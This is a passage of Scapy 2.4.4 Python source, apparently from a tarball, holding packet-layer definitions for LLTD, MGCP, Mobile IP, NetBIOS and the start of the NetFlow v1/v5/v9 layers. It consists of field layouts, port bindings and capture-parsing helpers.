"Characteristics", 3: "Physical Medium", 7: "IPv4 Address", 9: "802.11 Max Rate", 10: "Performance Counter Frequency", 12: "Link Speed", 14: "Icon Image", 15: "Machine Name", 18: "Device UUID", 20: "QoS Characteristics", 21: "802.11 Physical Medium", 24: "Detailed Icon Image", }), FieldLenField("len", None, length_of="value", fmt="B"), StrLenField("value", "", length_from=lambda pkt: pkt.len), ] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: cmd = orb(_pkt[0]) elif "type" in kargs: cmd = kargs["type"] if isinstance(cmd, six.string_types): cmd = cls.fields_desc[0].s2i[cmd] else: return cls return SPECIFIC_CLASSES.get(cmd, cls) SPECIFIC_CLASSES = {} def _register_lltd_specific_class(*attr_types): """This can be used as a class decorator; if we want to support Python 2.5, we have to replace @_register_lltd_specific_class(x[, y[, ...]]) class LLTDAttributeSpecific(LLTDAttribute): [...] by class LLTDAttributeSpecific(LLTDAttribute): [...] LLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])( LLTDAttributeSpecific ) """ def _register(cls): for attr_type in attr_types: SPECIFIC_CLASSES[attr_type] = cls type_fld = LLTDAttribute.fields_desc[0].copy() type_fld.default = attr_types[0] cls.fields_desc = [type_fld] + cls.fields_desc return cls return _register @_register_lltd_specific_class(0) class LLTDAttributeEOP(LLTDAttribute): name = "LLTD Attribute - End Of Property" fields_desc = [] @_register_lltd_specific_class(1) class LLTDAttributeHostID(LLTDAttribute): name = "LLTD Attribute - Host ID" fields_desc = [ ByteField("len", 6), MACField("mac", ETHER_ANY), ] def mysummary(self): return "ID: %s" % self.mac, [LLTD, LLTDAttributeMachineName] @_register_lltd_specific_class(2) class LLTDAttributeCharacteristics(LLTDAttribute): name = "LLTD Attribute - Characteristics" fields_desc = [ # According to MS doc, "this field MUST be set to 0x02". But # according to MS implementation, that's wrong. # ByteField("len", 2), FieldLenField("len", None, length_of="reserved2", fmt="B", adjust=lambda _, x: x + 2), FlagsField("flags", 0, 5, "PXFML"), BitField("reserved1", 0, 11), StrLenField("reserved2", "", length_from=lambda x: x.len - 2) ] @_register_lltd_specific_class(3) class LLTDAttributePhysicalMedium(LLTDAttribute): name = "LLTD Attribute - Physical Medium" fields_desc = [ ByteField("len", 4), IntEnumField("medium", 6, { # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib 1: "other", 2: "regular1822", 3: "hdh1822", 4: "ddnX25", 5: "rfc877x25", 6: "ethernetCsmacd", 7: "iso88023Csmacd", 8: "iso88024TokenBus", 9: "iso88025TokenRing", 10: "iso88026Man", 11: "starLan", 12: "proteon10Mbit", 13: "proteon80Mbit", 14: "hyperchannel", 15: "fddi", 16: "lapb", 17: "sdlc", 18: "ds1", 19: "e1", 20: "basicISDN", 21: "primaryISDN", 22: "propPointToPointSerial", 23: "ppp", 24: "softwareLoopback", 25: "eon", 26: "ethernet3Mbit", 27: "nsip", 28: "slip", 29: "ultra", 30: "ds3", 31: "sip", 32: "frameRelay", 33: "rs232", 34: "para", 35: "arcnet", 36: "arcnetPlus", 37: "atm", 38: "miox25", 39: "sonet", 40: "x25ple", 41: "iso88022llc", 42: "localTalk", 43: "smdsDxi", 44: "frameRelayService", 45: "v35", 46: "hssi", 47: "hippi", 48: "modem", 49: "aal5", 50: "sonetPath", 51: "sonetVT", 52: "smdsIcip", 53: "propVirtual", 54: "propMultiplexor", 55: "ieee80212", 56: "fibreChannel", 57: "hippiInterface", 58: "frameRelayInterconnect", 59: "aflane8023", 60: "aflane8025", 61: "cctEmul", 62: "fastEther", 63: "isdn", 64: "v11", 65: "v36", 66: "g703at64k", 67: "g703at2mb", 68: "qllc", 69: "fastEtherFX", 70: "channel", 71: "ieee80211", 72: "ibm370parChan", 73: "escon", 74: "dlsw", 75: "isdns", 76: "isdnu", 77: "lapd", 78: "ipSwitch", 79: "rsrb", 80: "atmLogical", 81: "ds0", 82: "ds0Bundle", 83: "bsc", 84: "async", 85: "cnr", 86: "iso88025Dtr", 87: "eplrs", 88: "arap", 89: "propCnls", 90: "hostPad", 91: "termPad", 92: "frameRelayMPI", 93: "x213", 94: "adsl", 95: "radsl", 96: "sdsl", 97: "vdsl", 98: "iso88025CRFPInt", 99: "myrinet", 100: "voiceEM", 101: "voiceFXO", 102: "voiceFXS", 103: "voiceEncap", 104: "voiceOverIp", 105: "atmDxi", 106: "atmFuni", 107: "atmIma", 108: "pppMultilinkBundle", 109: "ipOverCdlc", 110: "ipOverClaw", 111: "stackToStack", 112: "virtualIpAddress", 113: "mpc", 114: "ipOverAtm", 115: "iso88025Fiber", 116: "tdlc", 117: "gigabitEthernet", 118: "hdlc", 119: "lapf", 120: "v37", 121: "x25mlp", 122: "x25huntGroup", 123: "transpHdlc", 124: "interleave", 125: "fast", 126: "ip", 127: "docsCableMaclayer", 128: "docsCableDownstream", 129: "docsCableUpstream", 130: "a12MppSwitch", 131: "tunnel", 132: "coffee", 133: "ces", 134: "atmSubInterface", 135: "l2vlan", 136: "l3ipvlan", 137: "l3ipxvlan", 138: "digitalPowerline", 139: "mediaMailOverIp", 140: "dtm", 141: "dcn", 142: "ipForward", 143: "msdsl", 144: "ieee1394", 145: "if-gsn", 146: "dvbRccMacLayer", 147: "dvbRccDownstream", 148: "dvbRccUpstream", 149: "atmVirtual", 150: "mplsTunnel", 151: "srp", 152: "voiceOverAtm", 153: "voiceOverFrameRelay", 154: "idsl", 155: "compositeLink", 156: "ss7SigLink", 157: "propWirelessP2P", 158: "frForward", 159: "rfc1483", 160: "usb", 161: "ieee8023adLag", 162: "bgppolicyaccounting", 163: "frf16MfrBundle", 164: "h323Gatekeeper", 165: "h323Proxy", 166: "mpls", 167: "mfSigLink", 168: "hdsl2", 169: "shdsl", 170: "ds1FDL", 171: "pos", 172: "dvbAsiIn", 173: "dvbAsiOut", 174: "plc", 175: "nfas", 176: "tr008", 177: "gr303RDT", 178: "gr303IDT", 179: "isup", 180: "propDocsWirelessMaclayer", 181: "propDocsWirelessDownstream", 182: "propDocsWirelessUpstream", 183: "hiperlan2", 184: "propBWAp2Mp", 185: "sonetOverheadChannel", 186: "digitalWrapperOverheadChannel", 187: "aal2", 188: "radioMAC", 189: "atmRadio", 190: "imt", 191: "mvl", 192: "reachDSL", 193: "frDlciEndPt", 194: "atmVciEndPt", 195: "opticalChannel", 196: "opticalTransport", 197: "propAtm", 198: "voiceOverCable", 199: "infiniband", 200: "teLink", 201: "q2931", 202: "virtualTg", 203: "sipTg", 204: "sipSig", 205: "docsCableUpstreamChannel", 206: "econet", 207: "pon155", 208: "pon622", 209: "bridge", 210: "linegroup", 211: "voiceEMFGD", 212: "voiceFGDEANA", 213: "voiceDID", 214: "mpegTransport", 215: "sixToFour", 216: "gtp", 217: "pdnEtherLoop1", 218: "pdnEtherLoop2", 219: "opticalChannelGroup", 220: "homepna", 221: "gfp", 222: "ciscoISLvlan", 223: "actelisMetaLOOP", 224: "fcipLink", 225: "rpr", 226: "qam", 227: "lmp", 228: "cblVectaStar", 229: "docsCableMCmtsDownstream", 230: "adsl2", 231: "macSecControlledIF", 232: "macSecUncontrolledIF", 233: "aviciOpticalEther", 234: "atmbond", 235: "voiceFGDOS", 236: "mocaVersion1", 237: "ieee80216WMAN", 238: "adsl2plus", 239: "dvbRcsMacLayer", 240: "dvbTdm", 241: "dvbRcsTdma", 242: "x86Laps", 243: "wwanPP", 244: "wwanPP2", 245: "voiceEBS", 246: "ifPwType", 247: "ilan", 248: "pip", 249: "aluELP", 250: "gpon", 251: "vdsl2", 252: "capwapDot11Profile", 253: "capwapDot11Bss", 254: "capwapWtpVirtualRadio", 255: "bits", 256: "docsCableUpstreamRfPort", 257: "cableDownstreamRfPort", 258: "vmwareVirtualNic", 259: "ieee802154", 260: "otnOdu", 261: "otnOtu", 262: "ifVfiType", 263: "g9981", 264: "g9982", 265: "g9983", 266: "aluEpon", 267: "aluEponOnu", 268: "aluEponPhysicalUni", 269: "aluEponLogicalLink", 271: "aluGponPhysicalUni", 272: "vmwareNicTeam", 277: "docsOfdmDownstream", 278: "docsOfdmaUpstream", 279: "gfast", 280: "sdci", }), ] @_register_lltd_specific_class(7) class LLTDAttributeIPv4Address(LLTDAttribute): name = "LLTD Attribute - IPv4 Address" fields_desc = [ ByteField("len", 4), IPField("ipv4", "0.0.0.0"), ] @_register_lltd_specific_class(8) class LLTDAttributeIPv6Address(LLTDAttribute): name = "LLTD Attribute - IPv6 Address" fields_desc = [ ByteField("len", 16), IP6Field("ipv6", "::"), ] @_register_lltd_specific_class(9) class LLTDAttribute80211MaxRate(LLTDAttribute): name = "LLTD Attribute - 802.11 Max Rate" fields_desc = [ ByteField("len", 2), ShortField("rate", 0), ] @_register_lltd_specific_class(10) class LLTDAttributePerformanceCounterFrequency(LLTDAttribute): name = "LLTD Attribute - Performance Counter Frequency" fields_desc = [ ByteField("len", 8), LongField("freq", 0), ] @_register_lltd_specific_class(12) class LLTDAttributeLinkSpeed(LLTDAttribute): name = "LLTD Attribute - Link Speed" fields_desc = [ ByteField("len", 4), IntField("speed", 0), ] @_register_lltd_specific_class(14, 24, 26) class LLTDAttributeLargeTLV(LLTDAttribute): name = "LLTD Attribute - Large TLV" fields_desc = [ ByteField("len", 0), ] @_register_lltd_specific_class(15) class LLTDAttributeMachineName(LLTDAttribute): name = "LLTD Attribute - Machine Name" fields_desc = [ FieldLenField("len", None, length_of="hostname", fmt="B"), StrLenFieldUtf16("hostname", "", length_from=lambda pkt: pkt.len), ] def mysummary(self): return (self.sprintf("Hostname: %r" % self.hostname), [LLTD, LLTDAttributeHostID]) @_register_lltd_specific_class(18) class LLTDAttributeDeviceUUID(LLTDAttribute): name = "LLTD Attribute - Device UUID" fields_desc = [ FieldLenField("len", None, length_of="uuid", fmt="B"), StrLenField("uuid", b"\x00" * 16, length_from=lambda pkt: pkt.len), ] @_register_lltd_specific_class(20) class LLTDAttributeQOSCharacteristics(LLTDAttribute): name = "LLTD Attribute - QoS Characteristics" fields_desc = [ ByteField("len", 4), FlagsField("flags", 0, 3, "EQP"), BitField("reserved1", 0, 13), ShortField("reserved2", 0), ] @_register_lltd_specific_class(21) class LLTDAttribute80211PhysicalMedium(LLTDAttribute): name = "LLTD Attribute - 802.11 Physical Medium" fields_desc = [ ByteField("len", 1), ByteEnumField("medium", 0, { 0: "Unknown", 1: "FHSS 2.4 GHz", 2: "DSSS 2.4 GHz", 3: "IR Baseband", 4: "OFDM 5 GHz", 5: "HRDSSS", 6: "ERP", }), ] @_register_lltd_specific_class(25) class LLTDAttributeSeesList(LLTDAttribute): name = "LLTD Attribute - Sees List Working Set" fields_desc = [ ByteField("len", 2), ShortField("max_entries", 0), ] bind_layers(Ether, LLTD, type=0x88d9) bind_layers(LLTD, LLTDDiscover, tos=0, function=0) bind_layers(LLTD, LLTDDiscover, tos=1, function=0) bind_layers(LLTD, LLTDHello, tos=0, function=1) bind_layers(LLTD, LLTDHello, tos=1, function=1) bind_layers(LLTD, LLTDEmit, tos=0, function=2) bind_layers(LLTD, LLTDQueryResp, tos=0, function=7) bind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11) bind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12) bind_layers(LLTDHello, LLTDAttribute) bind_layers(LLTDAttribute, LLTDAttribute) bind_layers(LLTDAttribute, Padding, type=0) bind_layers(LLTDEmiteeDesc, Padding) bind_layers(LLTDRecveeDesc, Padding) # Utils ######## class LargeTlvBuilder(object): """An object to build content fetched through LLTDQueryLargeTlv / LLTDQueryLargeTlvResp packets. Usable with a PacketList() object: >>> p = LargeTlvBuilder() >>> p.parse(rdpcap('capture_file.cap')) Or during a network capture: >>> p = LargeTlvBuilder() >>> sniff(filter="ether proto 0x88d9", prn=p.parse) To get the result, use .get_data() """ def __init__(self): self.types_offsets = {} self.data = {} def parse(self, plist): """Update the builder using the provided `plist`. `plist` can be either a Packet() or a PacketList(). """ if not isinstance(plist, PacketList): plist = PacketList(plist) for pkt in plist[LLTD]: if LLTDQueryLargeTlv in pkt: key = "%s:%s:%d" % (pkt.real_dst, pkt.real_src, pkt.seq) self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type, pkt[LLTDQueryLargeTlv].offset) elif LLTDQueryLargeTlvResp in pkt: try: key = "%s:%s:%d" % (pkt.real_src, pkt.real_dst, pkt.seq) content, offset = self.types_offsets[key] except KeyError: continue loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len) key = "%s > %s [%s]" % ( pkt.real_src, pkt.real_dst, LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content), ) data = self.data.setdefault(key, array("B")) datalen = len(data) if datalen < loc.stop: data.extend(array("B", b"\x00" * (loc.stop - datalen))) data[loc] = array("B", pkt[LLTDQueryLargeTlvResp].value) def get_data(self): """Returns a dictionary object, keys are strings "source > destincation [content type]", and values are the content fetched, also as a string. """ return {key: "".join(chr(byte) for byte in data) for key, data in six.iteritems(self.data)} scapy-2.4.4/scapy/layers/mgcp.py000066400000000000000000000032601372370053500165640ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ MGCP (Media Gateway Control Protocol) [RFC 2805] """ from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import StrFixedLenField, StrStopField from scapy.layers.inet import UDP class MGCP(Packet): name = "MGCP" longname = "Media Gateway Control Protocol" fields_desc = [StrStopField("verb", "AUEP", b" ", -1), StrFixedLenField("sep1", " ", 1), StrStopField("transaction_id", "1234567", b" ", -1), StrFixedLenField("sep2", " ", 1), StrStopField("endpoint", "dummy@dummy.net", b" ", -1), StrFixedLenField("sep3", " ", 1), StrStopField("version", "MGCP 1.0 NCS 1.0", b"\x0a", -1), StrFixedLenField("sep4", b"\x0a", 1), ] # class MGCP(Packet): # name = "MGCP" # longname = "Media Gateway Control Protocol" # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), # ByteField("code0",0), # ByteField("code1",0), # ByteField("code2",0), # ByteField("code3",0), # ByteField("code4",0), # IntField("trasid",0), # IntField("req_time",0), # ByteField("is_duplicate",0), # ByteField("req_available",0) ] # bind_bottom_up(UDP, MGCP, dport=2727) bind_bottom_up(UDP, MGCP, sport=2727) bind_layers(UDP, MGCP, sport=2727, dport=2727) scapy-2.4.4/scapy/layers/mobileip.py000066400000000000000000000032501372370053500174350ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Mobile IP. """ from scapy.fields import ByteEnumField, ByteField, IPField, LongField, \ ShortField, XByteField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.layers.inet import IP, UDP class MobileIP(Packet): name = "Mobile IP (RFC3344)" fields_desc = [ByteEnumField("type", 1, {1: "RRQ", 3: "RRP"})] class MobileIPRRQ(Packet): name = "Mobile IP Registration Request (RFC3344)" fields_desc = [XByteField("flags", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), IPField("coaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPRRP(Packet): name = "Mobile IP Registration Reply (RFC3344)" fields_desc = [ByteField("code", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPTunnelData(Packet): name = "Mobile IP Tunnel Data Message (RFC3519)" fields_desc = [ByteField("nexthdr", 4), ShortField("res", 0)] bind_bottom_up(UDP, MobileIP, dport=434) bind_bottom_up(UDP, MobileIP, sport=434) bind_layers(UDP, MobileIP, sport=434, dport=434) bind_layers(MobileIP, MobileIPRRQ, type=1) bind_layers(MobileIP, MobileIPRRP, type=3) bind_layers(MobileIP, MobileIPTunnelData, type=4) bind_layers(MobileIPTunnelData, IP, nexthdr=4) scapy-2.4.4/scapy/layers/netbios.py000066400000000000000000000255001372370053500173020ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ NetBIOS over TCP/IP [RFC 1001/1002] """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ IPField, IntField, NetBIOSNameField, ShortEnumField, ShortField, \ StrFixedLenField, XShortField from scapy.layers.inet import UDP, TCP from scapy.layers.l2 import SourceMACField class NetBIOS_DS(Packet): name = "NetBIOS datagram service" fields_desc = [ ByteEnumField("type", 17, {17: "direct_group"}), ByteField("flags", 0), XShortField("id", 0), IPField("src", "127.0.0.1"), ShortField("sport", 138), ShortField("len", None), ShortField("ofs", 0), NetBIOSNameField("srcname", ""), NetBIOSNameField("dstname", ""), ] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) - 14 p = p[:10] + struct.pack("!H", tmp_len) + p[12:] return p # ShortField("length",0), # ShortField("Delimiter",0), # ByteField("command",0), # ByteField("data1",0), # ShortField("data2",0), # ShortField("XMIt",0), # ShortField("RSPCor",0), # StrFixedLenField("dest","",16), # StrFixedLenField("source","",16), # # ] # # NetBIOS _NETBIOS_SUFFIXES = { 0x4141: "workstation", 0x4141 + 0x03: "messenger service", 0x4141 + 0x200: "file server service", 0x4141 + 0x10b: "domain master browser", 0x4141 + 0x10c: "domain controller", 0x4141 + 0x10e: "browser election service" } _NETBIOS_QRTYPES = { 0x20: "NB", 0x21: "NBSTAT" } _NETBIOS_QRCLASS = { 1: "INTERNET" } _NETBIOS_RNAMES = { 0xC00C: "Label String Pointer to QUESTION_NAME" } _NETBIOS_OWNER_MODE_TYPES = { 0: "B node", 1: "P node", 2: "M node", 3: "H node" } _NETBIOS_GNAMES = { 0: "Unique name", 1: "Group name" } # Name Query Request # Node Status Request class NBNSQueryRequest(Packet): name = "NBNS query request" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0x0110), ShortField("QDCOUNT", 1), ShortField("ANCOUNT", 0), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), NetBIOSNameField("QUESTION_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS)] # Name Registration Request # Name Refresh Request # Name Release Request or Demand class NBNSRequest(Packet): name = "NBNS request" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0x2910), ShortField("QDCOUNT", 1), ShortField("ANCOUNT", 0), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 1), NetBIOSNameField("QUESTION_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), ShortEnumField("RR_NAME", 0xC00C, _NETBIOS_RNAMES), ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G", 0, 1, _NETBIOS_GNAMES), BitEnumField("OWNER_NODE_TYPE", 00, 2, _NETBIOS_OWNER_MODE_TYPES), BitEnumField("UNUSED", 0, 13, {0: "Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response # Name Registration Response class NBNSQueryResponse(Packet): name = "NBNS query response" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT", 0), ShortField("ANCOUNT", 1), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("QUESTION_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("QUESTION_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0x493e0), ShortField("RDLENGTH", 6), ShortField("NB_FLAGS", 0), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response (negative) # Name Release Response class NBNSQueryResponseNegative(Packet): name = "NBNS query response (negative)" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0x8506), ShortField("QDCOUNT", 0), ShortField("ANCOUNT", 1), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G", 0, 1, _NETBIOS_GNAMES), BitEnumField("OWNER_NODE_TYPE", 00, 2, _NETBIOS_OWNER_MODE_TYPES), BitEnumField("UNUSED", 0, 13, {0: "Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Node Status Response class NBNSNodeStatusResponse(Packet): name = "NBNS Node Status Response" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT", 0), ShortField("ANCOUNT", 1), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("RR_TYPE", 0x21, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 0), ShortField("RDLENGTH", 83), ByteField("NUM_NAMES", 1)] # Service for Node Status Response class NBNSNodeStatusResponseService(Packet): name = "NBNS Node Status Response Service" fields_desc = [StrFixedLenField("NETBIOS_NAME", "WINDOWS ", 15), ByteEnumField("SUFFIX", 0, {0: "workstation", 0x03: "messenger service", 0x20: "file server service", 0x1b: "domain master browser", 0x1c: "domain controller", 0x1e: "browser election service" }), ByteField("NAME_FLAGS", 0x4), ByteEnumField("UNUSED", 0, {0: "unused"})] # End of Node Status Response packet class NBNSNodeStatusResponseEnd(Packet): name = "NBNS Node Status Response" fields_desc = [SourceMACField("MAC_ADDRESS"), BitField("STATISTICS", 0, 57 * 8)] # Wait for Acknowledgement Response class NBNSWackResponse(Packet): name = "NBNS Wait for Acknowledgement Response" fields_desc = [ShortField("NAME_TRN_ID", 0), ShortField("FLAGS", 0xBC07), ShortField("QDCOUNT", 0), ShortField("ANCOUNT", 1), ShortField("NSCOUNT", 0), ShortField("ARCOUNT", 0), NetBIOSNameField("RR_NAME", "windows"), ShortEnumField("SUFFIX", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), ShortEnumField("RR_TYPE", 0x20, _NETBIOS_QRTYPES), ShortEnumField("RR_CLASS", 1, _NETBIOS_QRCLASS), IntField("TTL", 2), ShortField("RDLENGTH", 2), BitField("RDATA", 10512, 16)] # 10512=0010100100010000 class NBTDatagram(Packet): name = "NBT Datagram Packet" fields_desc = [ByteField("Type", 0x10), ByteField("Flags", 0x02), ShortField("ID", 0), IPField("SourceIP", "127.0.0.1"), ShortField("SourcePort", 138), ShortField("Length", 272), ShortField("Offset", 0), NetBIOSNameField("SourceName", "windows"), ShortEnumField("SUFFIX1", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0), NetBIOSNameField("DestinationName", "windows"), ShortEnumField("SUFFIX2", 0x4141, _NETBIOS_SUFFIXES), ByteField("NULL", 0)] class NBTSession(Packet): name = "NBT Session Packet" fields_desc = [ByteEnumField("TYPE", 0, {0x00: "Session Message", 0x81: "Session Request", 0x82: "Positive Session Response", 0x83: "Negative Session Response", 0x84: "Retarget Session Response", 0x85: "Session Keepalive"}), BitField("RESERVED", 0x00, 7), BitField("LENGTH", 0, 17)] bind_layers(UDP, NBNSQueryRequest, dport=137) bind_layers(UDP, NBNSRequest, dport=137) bind_layers(UDP, NBNSQueryResponse, sport=137) bind_layers(UDP, NBNSQueryResponseNegative, sport=137) bind_layers(UDP, NBNSNodeStatusResponse, sport=137) bind_layers(NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers(NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers(NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, ) bind_layers(NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, ) bind_layers(UDP, NBNSWackResponse, sport=137) bind_layers(UDP, NBTDatagram, dport=138) bind_layers(TCP, NBTSession, dport=445) bind_layers(TCP, NBTSession, sport=445) bind_layers(TCP, NBTSession, dport=139) bind_layers(TCP, NBTSession, sport=139) scapy-2.4.4/scapy/layers/netflow.py000066400000000000000000001657161372370053500173330ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # Netflow V5 appended by spaceB0x and Guillaume Valadon # Netflow V9/10 appended ny Gabriel Potter """ Cisco NetFlow protocol v1, v5, v9 and v10 (IPFix) HowTo dissect NetflowV9/10 (IPFix) packets # From a pcap / list of packets Using sniff and sessions:: >>> sniff(offline=open("my_great_pcap.pcap", "rb"), session=NetflowSession) Using the netflowv9_defragment/ipfix_defragment commands: - get a list of packets containing NetflowV9/10 packets - call `netflowv9_defragment(plist)` to defragment the list (ipfix_defragment is an alias for netflowv9_defragment) # Live / on-the-flow / other: use NetflowSession:: >>> sniff(session=NetflowSession, prn=[...]) """ import socket import struct from scapy.config import conf from scapy.data import IP_PROTOS from scapy.error import warning, Scapy_Exception from scapy.fields import ByteEnumField, ByteField, Field, FieldLenField, \ FlagsField, IPField, IntField, MACField, \ PacketListField, PadField, SecondsIntField, ShortEnumField, ShortField, \ StrField, StrFixedLenField, ThreeBytesField, UTCTimeField, XByteField, \ XShortField, LongField, BitField, ConditionalField, BitEnumField, \ StrLenField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.plist import PacketList from scapy.sessions import IPSession, DefaultSession from scapy.layers.inet import UDP from scapy.layers.inet6 import IP6Field class NetflowHeader(Packet): name = "Netflow Header" fields_desc = [ShortField("version", 1)] for port in [2055, 2056, 9995, 9996, 6343]: # Classic NetFlow ports bind_bottom_up(UDP, NetflowHeader, dport=port) bind_bottom_up(UDP, NetflowHeader, sport=port) # However, we'll default to 2055, classic among classics :) bind_layers(UDP, NetflowHeader, dport=2055, sport=2055) ########################################### # Netflow Version 1 ########################################### class NetflowHeaderV1(Packet): name = "Netflow Header v1" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", 0), UTCTimeField("unixNanoSeconds", 0, use_nano=True)] def post_build(self, pkt, pay): if self.count is None: count = len(self.layers()) - 1 pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay class NetflowRecordV1(Packet): name = "Netflow Record v1" fields_desc = [IPField("ipsrc", "0.0.0.0"), IPField("ipdst", "0.0.0.0"), IPField("nexthop", "0.0.0.0"), ShortField("inputIfIndex", 0), ShortField("outpuIfIndex", 0), IntField("dpkts", 0), IntField("dbytes", 0), IntField("starttime", 0), IntField("endtime", 0), ShortField("srcport", 0), ShortField("dstport", 0), ShortField("padding", 0), ByteField("proto", 0), ByteField("tos", 0), IntField("padding1", 0), IntField("padding2", 0)] bind_layers(NetflowHeader, NetflowHeaderV1, version=1) bind_layers(NetflowHeaderV1, NetflowRecordV1) bind_layers(NetflowRecordV1, NetflowRecordV1) ######################################### # Netflow Version 5 ######################################### class NetflowHeaderV5(Packet): name = "Netflow Header v5" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", 0), UTCTimeField("unixNanoSeconds", 0, use_nano=True), IntField("flowSequence", 0), ByteField("engineType", 0), ByteField("engineID", 0), ShortField("samplingInterval", 0)] def post_build(self, pkt, pay): if self.count is None: count = len(self.layers()) - 1 pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay class NetflowRecordV5(Packet): name = "Netflow Record v5" fields_desc = [IPField("src", "127.0.0.1"), IPField("dst", "127.0.0.1"), IPField("nexthop", "0.0.0.0"), ShortField("input", 0), ShortField("output", 0), IntField("dpkts", 1), IntField("dOctets", 60), IntField("first", 0), IntField("last", 0), ShortField("srcport", 0), ShortField("dstport", 0), ByteField("pad1", 0), FlagsField("tcpFlags", 0x2, 8, "FSRPAUEC"), ByteEnumField("prot", socket.IPPROTO_TCP, IP_PROTOS), ByteField("tos", 0), ShortField("src_as", 0), ShortField("dst_as", 0), ByteField("src_mask", 0), ByteField("dst_mask", 0), ShortField("pad2", 0)] bind_layers(NetflowHeader, NetflowHeaderV5, version=5) bind_layers(NetflowHeaderV5, NetflowRecordV5) bind_layers(NetflowRecordV5, NetflowRecordV5) ######################################### # Netflow Version 9/10 ######################################### # NetflowV9 RFC # https://www.ietf.org/rfc/rfc3954.txt # IPFix RFC # https://tools.ietf.org/html/rfc5101 # https://tools.ietf.org/html/rfc5655 # This is v9_v10_template_types (with names from the rfc for the first 79) # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-netflow.c # noqa: E501 # (it has all values external to the RFC) NTOP_BASE = 57472 NetflowV910TemplateFieldTypes = { 1: "IN_BYTES", 2: "IN_PKTS", 3: "FLOWS", 4: "PROTOCOL", 5: "TOS", 6: "TCP_FLAGS", 7: "L4_SRC_PORT", 8: "IPV4_SRC_ADDR", 9: "SRC_MASK", 10: "INPUT_SNMP", 11: "L4_DST_PORT", 12: "IPV4_DST_ADDR", 13: "DST_MASK", 14: "OUTPUT_SNMP", 15: "IPV4_NEXT_HOP", 16: "SRC_AS", 17: 